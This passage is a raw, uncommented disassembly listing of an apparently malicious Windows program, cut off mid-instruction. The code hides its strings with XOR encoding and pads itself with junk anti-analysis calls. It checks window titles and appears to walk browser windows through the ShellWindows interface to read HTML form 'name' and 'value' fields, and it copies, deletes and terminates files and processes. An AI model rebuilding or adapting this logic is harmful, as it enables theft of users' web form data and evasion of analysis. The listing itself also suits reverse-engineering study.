sub_4063A9+2E2j mov al, byte ptr [ebp+var_298+3] cmp al, 0Ah jb short loc_40668D loc_4066DF: ; CODE XREF: sub_4063A9+30Ej or ebx, ebx jz loc_40686E call sub_40C224 ; GetVersion push 0F000h call sub_40C350 ; Sleep call sub_40C2B4 ; IsDebuggerPresent push 104h lea eax, [ebp+var_104] push eax push ebx call sub_40C3EC ; GetWindowTextA mov eax, 0Bh sub eax, dword_441290 push eax push offset aXOkrecv11 ; "X-okRecv11" lea eax, [ebp+var_104] push eax call sub_40181E add esp, 0Ch cmp eax, 0FFFFh jz loc_406860 call sub_40C194 ; GetCurrentThreadId lea edi, [ebp+var_29D] lea esi, asc_441324 ; "&X" mov ecx, 3 rep movsb mov [ebp+var_29A], 63F1h movzx eax, [ebp+var_29A] imul eax, 2B65h mov [ebp+var_29A], ax lea eax, [ebp+var_3A1] push eax push [ebp+arg_4] call sub_405409 add esp, 8 or eax, eax jz loc_40684F mov ax, word_441327 mov [ebp+var_3AA], ax push 0 push [ebp+arg_8] lea eax, [ebp+var_3A1] push eax call sub_40C284 ; CopyFileA call sub_40C1F4 ; GetProcessHeap lea eax, [ebp+var_14C] push eax push [ebp+arg_8] call sub_401AC1 mov [ebp+var_3A8], eax call sub_40C1F4 ; GetProcessHeap push [ebp+arg_8] call sub_40C3E0 ; DeleteFileA call sub_40C188 ; GetCurrentProcessId push offset aHtml ; "<HTML><!--" call sub_40C3BC ; lstrlenA push eax push offset aHtml ; "<HTML><!--" push [ebp+var_3A8] call sub_40C6EC add esp, 14h or eax, eax jnz short loc_40681D push offset aHtml ; "<HTML><!--" call sub_40C3BC ; lstrlenA mov edi, [ebp+var_14C] sub edi, 3Ah push edi mov edi, eax add edi, [ebp+var_3A8] push edi push [ebp+arg_8] call sub_405368 add esp, 0Ch jmp short loc_406838 ; --------------------------------------------------------------------------- loc_40681D: ; CODE XREF: sub_4063A9+448j mov eax, [ebp+var_14C] sub eax, 40h push eax push [ebp+var_3A8] push [ebp+arg_8] call sub_405368 add esp, 0Ch loc_406838: ; CODE XREF: sub_4063A9+472j push [ebp+var_3A8] call sub_40C2D8 ; LocalFree mov [ebp+var_14C], 2 jmp short loc_406888 ; --------------------------------------------------------------------------- loc_40684F: ; CODE XREF: sub_4063A9+3D8j call sub_40C1F4 ; GetProcessHeap mov [ebp+var_14C], 1 jmp short loc_406888 ; --------------------------------------------------------------------------- loc_406860: ; CODE XREF: sub_4063A9+389j call sub_40C194 ; GetCurrentThreadId and [ebp+var_14C], 0 jmp short loc_406888 ; --------------------------------------------------------------------------- loc_40686E: ; CODE XREF: sub_4063A9+338j call sub_40C224 ; GetVersion and [ebp+var_14C], 0 jmp short loc_406888 ; --------------------------------------------------------------------------- loc_40687C: ; CODE XREF: sub_4063A9+27Cj call sub_40C2B4 ; IsDebuggerPresent and [ebp+var_14C], 0 loc_406888: ; CODE XREF: sub_4063A9+4A4j ; sub_4063A9+4B5j ... lea eax, [ebp+var_250] push eax call sub_40C3E0 ; DeleteFileA call sub_40C188 ; GetCurrentProcessId push [ebp+arg_0] call sub_40C2D8 ; LocalFree mov [ebp+var_265], 0D3h add [ebp+var_265], 1 push 0 push [ebp+var_260] call sub_40C35C ; TerminateProcess call sub_40C224 ; GetVersion push [ebp+var_260] call sub_40C1DC ; CloseHandle call sub_40C1B8 ; RtlGetLastWin32Error mov eax, [ebp+var_14C] loc_4068D7: ; CODE XREF: sub_4063A9+EFj ; sub_4063A9+193j pop edi pop esi pop ebx leave retn sub_4063A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4068DC proc near ; CODE XREF: sub_406B40+9Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_441334 lea eax, ds:41B7E0h[eax] push eax call sub_40C674 add esp, 0Ch mov [ebp+var_4], 338h xor edi, edi jmp short loc_406921 ; --------------------------------------------------------------------------- loc_40690A: ; CODE XREF: sub_4068DC+47j mov eax, dword_441334 add eax, edi lea eax, ds:41B7E0h[eax] movsx edx, byte ptr [eax] xor edx, 49h mov [eax], dl inc edi loc_406921: ; CODE XREF: sub_4068DC+2Cj cmp edi, esi jl short loc_40690A mov [ebp+var_8], 339h mov eax, dword_441334 add eax, esi mov byte ptr ds:dword_41B7E0[eax], 0 xor edi, edi mov edi, dword_441334 mov eax, edi lea eax, [eax+esi+6] mov dword_441334, eax cmp eax, 0DD4h jle short loc_40695C and dword_441334, 0 loc_40695C: ; CODE XREF: sub_4068DC+77j lea eax, dword_41B7E0[edi] pop edi pop esi leave retn sub_4068DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406966 proc near ; CODE XREF: sub_406E3F+181p ; sub_406E3F+556p ... var_F = byte ptr -0Fh var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea edi, [ebp+var_8] lea esi, aK3s ; "k-#3S " mov ecx, 7 rep movsb push [ebp+arg_0] call sub_40C3C8 ; lstrlenW mov ebx, eax lea edi, [ebp+var_F] lea esi, aOdvgM ; "ODvG-M" mov ecx, 7 rep movsb push 0 push 0 push 1FFFh push [ebp+arg_4] push ebx push [ebp+arg_0] push 0 push 0 call sub_40C398 ; WideCharToMultiByte mov [ebp+var_1], 59h sub [ebp+var_1], 0F4h mov eax, [ebp+arg_4] mov byte ptr [eax+ebx], 0 mov eax, ebx pop edi pop esi pop ebx leave retn sub_406966 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4069C8 proc near ; CODE XREF: sub_406A44+E1p var_C = byte ptr -0Ch var_6 = word ptr -6 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C1F4 ; GetProcessHeap cmp dword_44133C, 0 jz short loc_4069ED mov eax, dword_44133C push eax mov esi, [eax] call dword ptr [esi+8] loc_4069ED: ; CODE XREF: sub_4069C8+18j mov [ebp+var_2], 7AC0h movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], ax mov eax, [ebx+4] push dword ptr [ebx+4] mov esi, [eax] call dword ptr [esi+8] mov [ebp+var_3], 27h sub [ebp+var_3], 0CBh mov eax, [ebx] push dword ptr [ebx] mov esi, [eax] call dword ptr [esi+8] mov [ebp+var_6], 57B4h add [ebp+var_6], 0E1Ah call sub_40B6D4 lea edi, [ebp+var_C] lea esi, aESk ; "E`Sk " mov ecx, 3 rep movsw pop edi pop esi pop ebx leave retn sub_4069C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A44 proc near ; CODE XREF: sub_406E3F+41p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_26 = byte ptr -26h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_5], 0BDh movzx eax, [ebp+var_5] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_5], al lea edi, [ebp+var_26] lea esi, asc_441358 ; " + '<" mov ecx, 3 rep movsw and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 push 0 call sub_40B6C8 call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_20] push eax push offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" call sub_40B6BC mov [ebp+var_4], eax xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_30], eax or eax, eax jnz short loc_406B24 call sub_40C2B4 ; IsDebuggerPresent push ebx push offset dword_446A54 push 4 push 0 lea eax, [ebp+var_20] push eax call sub_40B6B0 mov [ebp+var_4], eax lea edi, [ebp+var_2B] lea esi, aVifa ; "ViFA" mov ecx, 5 rep movsb xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_34], eax or eax, eax jnz short loc_406B24 mov [ebp+var_C], 548Ch sub [ebp+var_C], 6CA6h mov eax, ebx add eax, 4 push eax push offset dword_446A44 mov eax, [ebx] push dword ptr [ebx] mov edi, [eax] call dword ptr ds:0[edi] mov [ebp+var_4], eax xor eax, eax cmp [ebp+var_4], 0 setl al mov [ebp+var_38], eax or eax, eax jnz short loc_406B24 call sub_40C2B4 ; IsDebuggerPresent xor eax, eax inc eax jmp short loc_406B3B ; --------------------------------------------------------------------------- loc_406B24: ; CODE XREF: sub_406A44+60j ; sub_406A44+9Bj ... push ebx call sub_4069C8 pop ecx mov [ebp+var_10], 453Ah sub [ebp+var_10], 300Dh xor eax, eax loc_406B3B: ; CODE XREF: sub_406A44+DEj pop edi pop esi pop ebx leave retn sub_406A44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B40 proc near ; CODE XREF: sub_406E3F+A3p var_10035 = byte ptr -10035h var_10034 = word ptr -10034h var_10032 = byte ptr -10032h var_1002C = dword ptr -1002Ch var_10028 = dword ptr -10028h var_10023 = byte ptr -10023h var_24 = word ptr -24h var_21 = byte ptr -21h var_20 = word ptr -20h var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 10038h call sub_40C118 push ebx push esi push edi call sub_40C1B8 ; RtlGetLastWin32Error cmp dword_441340, 0FFFFh jz short loc_406B68 and dword_441338, 0 loc_406B68: ; CODE XREF: sub_406B40+1Fj mov [ebp+var_C], 2E9Fh add [ebp+var_C], 5477h mov eax, dword_441338 cmp [ebp+arg_4], eax jz loc_406DAF mov eax, [ebp+arg_4] mov dword_441338, eax cmp dword_44133C, 0 jz short loc_406BB1 call sub_40C194 ; GetCurrentThreadId mov eax, dword_44133C push eax mov esi, [eax] call dword ptr [esi+8] call sub_40C188 ; GetCurrentProcessId and dword_44133C, 0 loc_406BB1: ; CODE XREF: sub_406B40+53j mov eax, dword_441363 mov [ebp+var_1002C], eax push 0FFFFh lea eax, [ebp+var_10023] push eax push [ebp+arg_4] call sub_40C3EC ; GetWindowTextA call sub_40C224 ; GetVersion push 1Bh push offset dword_445E6C call sub_4068DC mov edi, 11h sub edi, dword_441330 push edi push eax lea edi, [ebp+var_10023] push edi call sub_40181E add esp, 14h cmp eax, 0FFFFh jnz short loc_406C3B mov [ebp+var_10034], 11FFh movzx eax, [ebp+var_10034] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_10034], ax and dword_44133C, 0 mov [ebp+var_10035], 6Ch add [ebp+var_10035], 0C8h jmp loc_406DAF ; --------------------------------------------------------------------------- loc_406C3B: ; CODE XREF: sub_406B40+C2j lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] mov eax, [eax+4] push eax mov edi, [eax] call dword ptr [edi+1Ch] mov ebx, eax call sub_40C1B8 ; RtlGetLastWin32Error cmp [ebp+var_8], 0 jz loc_406DAF call sub_40C2B4 ; IsDebuggerPresent or ebx, ebx jnz loc_406DAF call sub_40C188 ; GetCurrentProcessId and [ebp+var_4], 0 cmp dword_441340, 0FFFFh jz short loc_406CB7 call sub_40C194 ; GetCurrentThreadId inc dword_441340 mov eax, [ebp+var_8] cmp dword_441340, eax jbe short loc_406C9B and dword_441340, 0 loc_406C9B: ; CODE XREF: sub_406B40+152j mov dword ptr [ebp-10038h], 65A5h sub dword ptr [ebp-10038h], 74CEh mov eax, dword_441340 mov [ebp+var_4], eax loc_406CB7: ; CODE XREF: sub_406B40+13Cj ; sub_406B40+262j push 0 call sub_40C638 pop ecx lea edi, [ebp+var_10032] lea esi, aMVaj ; "M ‚€J" mov ecx, 3 rep movsw mov [ebp+var_20], 2 mov eax, [ebp+var_4] mov [ebp+var_18], eax mov dword_441340, eax lea eax, [ebp+var_10] push eax lea esi, [ebp+var_20] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_0] mov edi, [edi+4] push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax or ebx, ebx jnz short loc_406D80 call sub_40C1F4 ; GetProcessHeap push offset dword_44133C push offset dword_446A64 mov eax, [ebp+var_10] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax call sub_40C194 ; GetCurrentThreadId or ebx, ebx jnz short loc_406D80 lea eax, [ebp+var_10028] push eax mov eax, dword_44133C push eax mov edi, [eax] call dword ptr [edi+94h] mov ebx, eax call sub_40C194 ; GetCurrentThreadId or ebx, ebx jnz short loc_406D80 mov [ebp+var_21], 0AEh movzx eax, [ebp+var_21] imul eax, 4F3Fh mov [ebp+var_21], al mov dword_441340, 0FFFFh mov eax, [ebp+arg_4] cmp [ebp+var_10028], eax jz short loc_406DAF mov [ebp+var_24], 1316h inc [ebp+var_24] loc_406D80: ; CODE XREF: sub_406B40+1C7j ; sub_406B40+1EEj ... cmp dword_44133C, 0 jz short loc_406D94 mov eax, dword_44133C push eax mov esi, [eax] call dword ptr [esi+8] loc_406D94: ; CODE XREF: sub_406B40+247j call sub_40C224 ; GetVersion inc [ebp+var_4] mov eax, [ebp+var_8] cmp [ebp+var_4], eax jb loc_406CB7 and dword_44133C, 0 loc_406DAF: ; CODE XREF: sub_406B40+3Ej ; sub_406B40+F6j ... pop edi pop esi pop ebx leave retn sub_406B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406DB4 proc near ; CODE XREF: sub_406E3F+5F5p ; sub_406E3F+646p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_441378 lea eax, ds:430DE0h[eax] push eax call sub_40C674 add esp, 0Ch mov [ebp+var_4], 17Fh xor edi, edi jmp short loc_406DF8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406DB4+46j mov eax, dword_441378 add eax, edi lea eax, ds:430DE0h[eax] movsx edx, byte ptr [eax] xor edx, 6Ch mov [eax], dl inc edi loc_406DF8: ; CODE XREF: sub_406DB4+2Bj cmp edi, esi jl short loc_406DE1 mov eax, dword_441378 add eax, esi mov byte ptr ds:dword_430DE0[eax], 0 mov edi, dword_441378 add dword_441378, 3 mov eax, dword_441378 add eax, 6 add eax, esi mov dword_441378, eax cmp eax, 0DCDh jle short loc_406E35 and dword_441378, 0 loc_406E35: ; CODE XREF: sub_406DB4+78j lea eax, dword_430DE0[edi] pop edi pop esi leave retn sub_406DB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E3F proc near ; CODE XREF: sub_407F91+62p var_63870 = dword ptr -63870h var_6386A = byte ptr -6386Ah var_63869 = byte ptr -63869h var_63864 = dword ptr -63864h var_63860 = dword ptr -63860h var_6385A = byte ptr -6385Ah var_6285B = byte ptr -6285Bh var_62854 = dword ptr -62854h var_6284D = byte ptr -6284Dh var_6284C = word ptr -6284Ch var_6284A = word ptr -6284Ah var_62848 = dword ptr -62848h var_62842 = word ptr -62842h var_62840 = dword ptr -62840h var_6283B = byte ptr -6283Bh var_6283A = word ptr -6283Ah var_62838 = word ptr -62838h var_62830 = dword ptr -62830h var_62828 = word ptr -62828h var_62820 = dword ptr -62820h var_6281A = byte ptr -6281Ah var_62818 = dword ptr -62818h var_62814 = dword ptr -62814h var_62810 = dword ptr -62810h var_6280C = dword ptr -6280Ch var_62807 = byte ptr -62807h var_62806 = word ptr -62806h var_62804 = dword ptr -62804h var_62800 = byte ptr -62800h var_627F9 = byte ptr -627F9h var_627F1 = byte ptr -627F1h var_627EA = dword ptr -627EAh var_627E6 = byte ptr -627E6h var_627DE = word ptr -627DEh var_627DC = dword ptr -627DCh var_627D6 = word ptr -627D6h var_627D4 = word ptr -627D4h var_627D1 = byte ptr -627D1h var_627D0 = dword ptr -627D0h var_627CC = dword ptr -627CCh var_627C7 = byte ptr -627C7h var_626C8 = dword ptr -626C8h var_626C4 = dword ptr -626C4h var_626C0 = word ptr -626C0h var_626B8 = dword ptr -626B8h var_626AC = dword ptr -626ACh var_626A8 = dword ptr -626A8h var_626A4 = dword ptr -626A4h var_626A0 = dword ptr -626A0h var_6269C = dword ptr -6269Ch var_62698 = dword ptr -62698h var_62694 = dword ptr -62694h var_6268F = byte ptr -6268Fh var_6268C = dword ptr -6268Ch var_62687 = byte ptr -62687h var_526B0 = byte ptr -526B0h var_526A8 = dword ptr -526A8h var_526A0 = word ptr -526A0h var_52698 = dword ptr -52698h var_52691 = byte ptr -52691h var_52690 = dword ptr -52690h var_5268B = byte ptr -5268Bh var_5268A = byte ptr -5268Ah var_52689 = byte ptr -52689h var_52688 = dword ptr -52688h var_52684 = byte ptr -52684h var_5267E = byte ptr -5267Eh var_52678 = byte ptr -52678h var_52675 = byte ptr -52675h var_5266D = byte ptr -5266Dh var_52666 = word ptr -52666h var_52664 = byte ptr -52664h var_5265D = byte ptr -5265Dh var_5265C = byte ptr -5265Ch var_52656 = byte ptr -52656h var_52650 = dword ptr -52650h var_5264C = word ptr -5264Ch var_5264A = byte ptr -5264Ah var_52642 = dword ptr -52642h var_5263E = word ptr -5263Eh var_5263C = dword ptr -5263Ch var_52638 = dword ptr -52638h var_52634 = byte ptr -52634h var_5262C = dword ptr -5262Ch var_52626 = word ptr -52626h var_52624 = word ptr -52624h var_52622 = word ptr -52622h var_52620 = dword ptr -52620h var_5261A = word ptr -5261Ah var_52618 = dword ptr -52618h var_52614 = dword ptr -52614h var_52610 = dword ptr -52610h var_5260C = dword ptr -5260Ch var_52606 = word ptr -52606h var_52604 = dword ptr -52604h var_52600 = dword ptr -52600h var_525FC = word ptr -525FCh var_525F9 = byte ptr -525F9h var_525F8 = dword ptr -525F8h var_525F4 = dword ptr -525F4h var_525EE = word ptr -525EEh var_525EC = dword ptr -525ECh var_525E8 = dword ptr -525E8h var_525E4 = dword ptr -525E4h var_525DF = byte ptr -525DFh var_524E0 = byte ptr -524E0h var_524D8 = dword ptr -524D8h var_524CC = dword ptr -524CCh var_524C8 = byte ptr -524C8h var_39E28 = byte ptr -39E28h var_21788 = word ptr -21788h var_21786 = word ptr -21786h var_21784 = dword ptr -21784h var_2177D = byte ptr -2177Dh var_1177E = word ptr -1177Eh var_1177C = word ptr -1177Ch var_10FAC = dword ptr -10FACh var_10FA8 = dword ptr -10FA8h var_10FA4 = dword ptr -10FA4h var_10001 = byte ptr -10001h var_2 = word ptr -2 push ebp mov ebp, esp mov eax, 63870h call sub_40C118 push ebx push esi push edi call sub_40C224 ; GetVersion push offset aValue ; "value" call sub_40B68C mov [ebp+var_10FA8], eax call sub_40C2B4 ; IsDebuggerPresent push offset aName ; "name" call sub_40B68C mov [ebp+var_10FAC], eax lea eax, [ebp+var_52634] push eax call sub_406A44 pop ecx or eax, eax jz loc_407F8C call sub_40C1B8 ; RtlGetLastWin32Error loc_406E93: ; CODE XREF: sub_406E3F+BFj ; sub_406E3F+F0j ... push 0 call sub_40C638 mov [ebp+var_52610], 6856h mov eax, 469Bh mul [ebp+var_52610] mov [ebp+var_52688], eax mov [ebp+var_52610], eax call sub_40C434 ; GetForegroundWindow mov [ebp+var_52614], eax mov [ebp+var_52618], 78A5h sub [ebp+var_52618], 5C4Ch push eax lea eax, [ebp+var_52634] push eax call sub_406B40 add esp, 0Ch mov ax, word_441388 mov [ebp+var_5263E], ax cmp dword_44133C, 0 jz short loc_406E93 mov eax, dword_44138A mov [ebp+var_52642], eax lea eax, [ebp+var_525F4] push eax mov eax, dword_44133C push eax mov edi, [eax] call dword ptr [edi+48h] mov ebx, eax lea edi, [ebp+var_5264A] lea esi, aTnaJ4 ; "TNa=J:4" movsd movsd or ebx, ebx jnz loc_406E93 call sub_40C218 ; GetTickCount lea eax, [ebp+var_525F8] push eax push offset dword_446A04 mov eax, [ebp+var_525F4] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov [ebp+var_525F9], 0DEh movzx eax, [ebp+var_525F9] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_525F9], al or ebx, ebx jnz loc_407F6E mov ax, word_441396 mov [ebp+var_5264C], ax lea eax, [ebp+var_52638] push eax mov eax, dword_44133C push eax mov edi, [eax] call dword ptr [edi+78h] mov ebx, eax or ebx, ebx jnz loc_407F54 mov [ebp+var_5261A], 507Eh sub [ebp+var_5261A], 1470h push offset byte_41EBE0 push [ebp+var_52638] call sub_406966 add esp, 8 mov edi, eax inc edi mov [ebp+var_52650], edi mov eax, [ebp+var_52614] mov ds:dword_42EBE4, eax lea eax, [ebp+var_525FC] push eax mov eax, dword_44133C push eax mov edi, [eax] call dword ptr [edi+7Ch] mov ebx, eax call sub_40C188 ; GetCurrentProcessId or ebx, ebx jnz loc_407F54 cmp [ebp+var_525FC], 0 jz short loc_40701C mov [ebp+var_52620], 423Ch inc [ebp+var_52620] jmp loc_407F54 ; --------------------------------------------------------------------------- loc_40701C: ; CODE XREF: sub_406E3F+1C6j lea edi, [ebp+var_52656] lea esi, aIho ; "iHO$|" mov ecx, 3 rep movsw lea edi, [ebp+var_5265C] lea esi, aEOsj ; "E osJ" mov ecx, 3 rep movsw mov [ebp+var_10001], 0 mov [ebp+var_2], 0 lea eax, [ebp+var_52600] push eax mov eax, [ebp+var_525F8] push eax mov edi, [eax] call dword ptr [edi+5Ch] mov ebx, eax call sub_40C218 ; GetTickCount or ebx, ebx jnz loc_407F54 lea eax, [ebp+var_5263C] push eax mov eax, [ebp+var_52600] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax mov [ebp+var_52622], 6B7Eh add [ebp+var_52622], 74C4h or ebx, ebx jnz loc_407F2B lea edi, [ebp+var_5265D] lea esi, byte_4413A4 xor ecx, ecx inc ecx rep movsb or [ebp+var_524CC], 0FFFFFFFFh loc_4070BA: ; CODE XREF: sub_406E3F+BE2j and [ebp+var_52604], 0 and [ebp+var_5260C], 0 cmp [ebp+var_524CC], 0FFFFFFFFh jnz short loc_40710B call sub_40C2B4 ; IsDebuggerPresent lea eax, [ebp+var_525E4] push eax mov eax, [ebp+var_525F8] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax call sub_40C218 ; GetTickCount or ebx, ebx jnz loc_407A0A mov [ebp+var_52689], 0D8h sub [ebp+var_52689], 13h jmp loc_407204 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_406E3F+290j call sub_40C2B4 ; IsDebuggerPresent mov [ebp+var_526A0], 17h mov eax, [ebp+var_524CC] mov [ebp+var_52698], eax lea eax, [ebp+var_526B0] push eax lea eax, [ebp+var_526A0] push eax mov eax, [ebp+var_52600] push eax mov esi, [eax] call dword ptr [esi+1Ch] call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_52604] push eax push offset dword_446A34 mov eax, [ebp+var_526A8] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax call sub_40C2B4 ; IsDebuggerPresent or ebx, ebx jnz loc_407A0A call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_5260C] push eax mov eax, [ebp+var_52604] push eax mov edi, [eax] call dword ptr [edi+0D0h] mov ebx, eax or ebx, ebx jz short loc_4071AB call sub_40C188 ; GetCurrentProcessId mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+8] call sub_40C224 ; GetVersion jmp loc_407A0A ; --------------------------------------------------------------------------- loc_4071AB: ; CODE XREF: sub_406E3F+34Fj lea eax, [ebp+var_525E4] push eax mov eax, [ebp+var_5260C] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax mov dword ptr [ebp-5268Ch], 196Fh add dword ptr [ebp-5268Ch], 74CAh or ebx, ebx jz short loc_407204 call sub_40C224 ; GetVersion mov eax, [ebp+var_5260C] push eax mov esi, [eax] call dword ptr [esi+8] call sub_40C2B4 ; IsDebuggerPresent mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+8] call sub_40C188 ; GetCurrentProcessId jmp loc_407A0A ; --------------------------------------------------------------------------- loc_407204: ; CODE XREF: sub_406E3F+2C7j ; sub_406E3F+397j lea eax, [ebp+var_525EC] push eax mov eax, [ebp+var_525E4] push eax mov edi, [eax] call dword ptr [edi+24h] mov ebx, eax mov [ebp+var_52624], 4A8h sub [ebp+var_52624], 196Fh or ebx, ebx jnz loc_407EC8 call sub_40C224 ; GetVersion and [ebp+var_21784], 0 jmp loc_4079F8 ; --------------------------------------------------------------------------- loc_407244: ; CODE XREF: sub_406E3F+BC5j mov [ebp+var_627CC], 39FEh mov eax, 2C62h mul [ebp+var_627CC] mov [ebp+var_6280C], eax mov [ebp+var_627CC], eax push 0 call sub_40C638 pop ecx lea edi, [ebp+var_627E6] lea esi, a0sfvu ; " 0SFvu " movsd movsd mov [ebp+var_626C0], 2 mov eax, [ebp+var_21784] mov [ebp+var_626B8], eax lea eax, [ebp+var_626AC] push eax lea esi, [ebp+var_626C0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_626C0] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_525E4] push edi mov edi, [edi] call dword ptr [edi+2Ch] mov ebx, eax call sub_40C2B4 ; IsDebuggerPresent or ebx, ebx jnz loc_4079F2 mov [ebp+var_627D0], 7AA8h mov eax, 0A51h mul [ebp+var_627D0] mov [ebp+var_62810], eax mov [ebp+var_627D0], eax and [ebp+var_626C4], 0 lea eax, [ebp+var_626C4] push eax push offset dword_446A14 mov eax, [ebp+var_626AC] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_4413AD mov [ebp+var_627EA], eax or ebx, ebx jnz loc_407676 call sub_40C218 ; GetTickCount lea eax, [ebp+var_626C8] push eax mov eax, [ebp+var_626C4] push eax mov edi, [eax] call dword ptr [edi+0F0h] mov ebx, eax lea edi, [ebp+var_627F1] lea esi, aRO0p ; "r= O0P" mov ecx, 7 rep movsb or ebx, ebx jnz loc_407676 lea edi, [ebp+var_627F9] lea esi, a_Leiv ; ".;^LeIV" movsd movsd lea edi, [ebp+var_62800] lea esi, aIara ; " $iArA" mov ecx, 7 rep movsb lea eax, [ebp+var_6268F] push eax push [ebp+var_626C8] call sub_406966 add esp, 8 mov edi, eax inc edi mov [ebp+var_626A4], edi mov [ebp+var_627D1], 3Ah movzx eax, [ebp+var_627D1] imul eax, 799Ah mov [ebp+var_627D1], al and dword ptr [ebp-5268Ch], 0 jmp short loc_4073F2 ; --------------------------------------------------------------------------- loc_4073C9: ; CODE XREF: sub_406E3F+5BFj mov eax, [ebp-5268Ch] mov al, [ebp+eax+var_6268F] cmp al, 0Dh jz short loc_4073DE cmp al, 0Ah jnz short loc_4073EC loc_4073DE: ; CODE XREF: sub_406E3F+599j mov eax, [ebp-5268Ch] mov [ebp+eax+var_6268F], 0 loc_4073EC: ; CODE XREF: sub_406E3F+59Dj inc dword ptr [ebp-5268Ch] loc_4073F2: ; CODE XREF: sub_406E3F+588j mov eax, [ebp+var_626A4] cmp [ebp-5268Ch], eax jb short loc_4073C9 call sub_40C224 ; GetVersion mov eax, dword_4413C7 mov [ebp+var_62804], eax cmp [ebp+var_524CC], 0FFFFFFFFh jnz short loc_407464 mov [ebp+var_62814], 35D9h sub [ebp+var_62814], 62B4h push 11h push offset aPA3i4rl ; "P!-%\"<+A*#>!3I4RL" call sub_406DB4 push [ebp+var_21784] push eax lea edi, [ebp+var_627C7] push edi call sub_40C6B0 lea eax, [ebp+var_627C7] push eax lea eax, [ebp+var_10001] push eax call sub_40C6D4 add esp, 1Ch jmp short loc_4074C3 ; --------------------------------------------------------------------------- loc_407464: ; CODE XREF: sub_406E3F+5D8j mov byte ptr [ebp+var_62814+3], 44h movzx eax, byte ptr [ebp+var_62814+3] imul eax, 194Bh mov byte ptr [ebp+var_62814+3], al push 13h push offset aP3i4a3i4rl ; "P*>-!)3I4A*#>!3I4RL" call sub_406DB4 push [ebp+var_21784] push [ebp+var_524CC] push eax lea edi, [ebp+var_627C7] push edi call sub_40C6B0 call sub_40C2B4 ; IsDebuggerPresent lea eax, [ebp+var_627C7] push eax lea eax, [ebp+var_10001] push eax call sub_40C6D4 add esp, 20h call sub_40C194 ; GetCurrentThreadId loc_4074C3: ; CODE XREF: sub_406E3F+623j and dword ptr [ebp-5268Ch], 0 loc_4074CA: ; CODE XREF: sub_406E3F+752j mov eax, [ebp-5268Ch] lea ecx, [ebp+eax+var_6268F] or eax, 0FFFFFFFFh loc_4074DA: ; CODE XREF: sub_406E3F+6A0j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4074DA mov [ebp+var_62698], eax call sub_40C1F4 ; GetProcessHeap mov eax, [ebp+var_62698] cmp eax, 0 jz short loc_4074FE cmp eax, 0C8h jbe short loc_407500 loc_4074FE: ; CODE XREF: sub_406E3F+6B6j jmp short loc_407578 ; --------------------------------------------------------------------------- loc_407500: ; CODE XREF: sub_406E3F+6BDj mov [ebp+var_627D4], 4A0Ch sub [ebp+var_627D4], 47F0h cmp [ebp+var_62698], 1 jnz short loc_40752B mov eax, [ebp-5268Ch] cmp [ebp+eax+var_6268F], 20h jz short loc_407578 loc_40752B: ; CODE XREF: sub_406E3F+6DAj push 1 push offset byte_445E2C call sub_406DB4 push eax lea edi, [ebp+var_10001] push edi call sub_40C6D4 mov [ebp+var_627D6], 195Bh sub [ebp+var_627D6], 6CFBh mov eax, 